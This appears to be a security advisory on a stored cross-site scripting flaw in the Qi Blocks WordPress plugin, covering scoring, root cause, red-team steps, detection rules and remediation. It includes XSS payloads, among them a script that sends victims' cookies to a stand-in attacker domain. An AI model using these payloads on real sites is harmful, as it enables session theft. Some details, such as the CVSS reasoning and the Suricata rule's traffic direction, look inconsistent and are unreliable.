CVE-2024-38712

Executive Summary

CVE-2024-38712 is a stored Cross-Site Scripting (XSS) vulnerability in the Qi Blocks plugin for WordPress, developed by Qodeinteractive. The vulnerability affects all versions up to and including 1.3. It allows an authenticated attacker with contributor-level access or higher to inject arbitrary web scripts into pages or posts, which will execute whenever a user accesses the compromised content. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for WordPress sites using this plugin.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. It does not affect Apache, Nginx, or any other web server software. The attack vector relies on the WordPress user role system and the plugin's failure to sanitize output.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N) – but note: exploitation requires an authenticated user with contributor-level access to inject the script. The PR:N reflects the fact that the victim does not need privileges.
• User Interaction: Required (UI:R) – the victim must click on or view the compromised page.
• Scope: Changed (S:C) – the vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. While the CVSS score is 6.5, the lack of a patch and the potential for widespread WordPress installations make this a significant concern for site administrators.

Deep Dive & Mechanics

The vulnerability exists in the Qi Blocks plugin, which provides custom Gutenberg blocks for the WordPress block editor. The plugin fails to properly sanitize or escape user-supplied input when rendering block attributes or content. An attacker with contributor-level access (or higher) can craft a block that includes malicious JavaScript. When the block is rendered on a page or post, the script executes in the context of the victim's browser.

Attack Flow:

1. An attacker logs into WordPress with a contributor account.
2. The attacker creates a new post or page and adds a Qi Blocks block.
3. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into a block attribute or content field that is not sanitized.
4. The post is saved and published (or left as a draft for internal testing).
5. A victim (e.g., an administrator or visitor) views the compromised page.
6. The injected script executes, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

Root Cause: The plugin uses functions like echo or the_content without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), wp_kses_post()). This allows raw HTML/JavaScript to be output.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resides in the plugin's block render callbacks.

Vulnerable Code Example (PHP):

function qi_blocks_render_block($attributes) {
    $output = '<div class="qi-block">' . $attributes['content'] . '</div>';
    return $output;
}

Patched Code (Hypothetical):

function qi_blocks_render_block($attributes) {
    $output = '<div class="qi-block">' . esc_html($attributes['content']) . '</div>';
    return $output;
}

The patch would involve applying esc_html() or wp_kses_post() to any user-supplied data before output.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress installation with Qi Blocks plugin version <= 1.3.
• A contributor-level account (or higher).

Steps:

1. Log in to WordPress as a contributor.
2. Create a new post.
3. Add a Qi Blocks block (e.g., "Qi Accordion" or "Qi Tabs").
4. In the block's content field, inject the following payload:

   <img src=x onerror=alert(document.cookie)>
   

5. Publish the post.
6. Send the post URL to a target (e.g., an administrator).
7. When the administrator views the post, the script executes, displaying their cookies.

Advanced Payload (Session Hijacking):

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defensive)

Detection:

• Monitor for posts containing suspicious HTML/JavaScript in block content.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Restrict contributor-level access to trusted users only.

Mitigation:

• Disable the Qi Blocks plugin until a patch is released.
• Use a security plugin (e.g., Wordfence) to block XSS attempts.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Indicators of Compromise (IOCs)

• File Indicators:

  • Presence of the qi-blocks plugin directory in /wp-content/plugins/qi-blocks/
  • Modified post content containing <script> tags or event handlers (e.g., onerror, onload)

• Network Indicators:

  • Outbound HTTP requests to attacker-controlled domains from the WordPress server (e.g., GET /steal?cookie=...)

• Log Indicators:

  • WordPress audit logs showing post creation/modification by contributor users with unusual content.
  • Web server logs showing requests to pages with qi-blocks in the URL and suspicious query parameters.

Detection Engineering

YARA Rule

rule CVE_2024_38712_Qi_Blocks_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2024-38712 in Qi Blocks plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-38712"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
        $qi_block = /qi-blocks/i
    condition:
        any of ($xss*) and $qi_block
}

Sigma Rule

title: CVE-2024-38712 Qi Blocks XSS Detection
id: 8a3f7c2e-1b4d-4e5f-9a0b-2c3d4e5f6a7b
status: experimental
description: Detects potential XSS attempts against Qi Blocks plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/wp-content/plugins/qi-blocks/"
        cs-method: "GET"
        cs-uri-query|contains:
            - "<script"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in block content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-38712 Qi Blocks XSS Attempt"; flow:to_server,established; content:"/wp-content/plugins/qi-blocks/"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; pcre:"/onerror\s*=\s*["']?[^"'\s>]+/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Qi Blocks plugin until an official patch is released.
2. Review all posts and pages created by contributor-level users for suspicious content.
3. Change all WordPress admin passwords if any compromise is suspected.

Long-term Measures:

• Apply the principle of least privilege – restrict contributor access to only trusted users.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enable Content Security Policy (CSP) headers to block inline scripts.
• Monitor for plugin updates from Qodeinteractive and apply patches immediately.
• Use a security plugin (e.g., Wordfence, Sucuri) to detect and block XSS attempts.

Workaround (if plugin must remain active):

• Manually patch the plugin by adding esc_html() or wp_kses_post() to all output functions in the plugin's PHP files. This is not recommended for non-developers.

Valters IT
Securing Digital Frontiers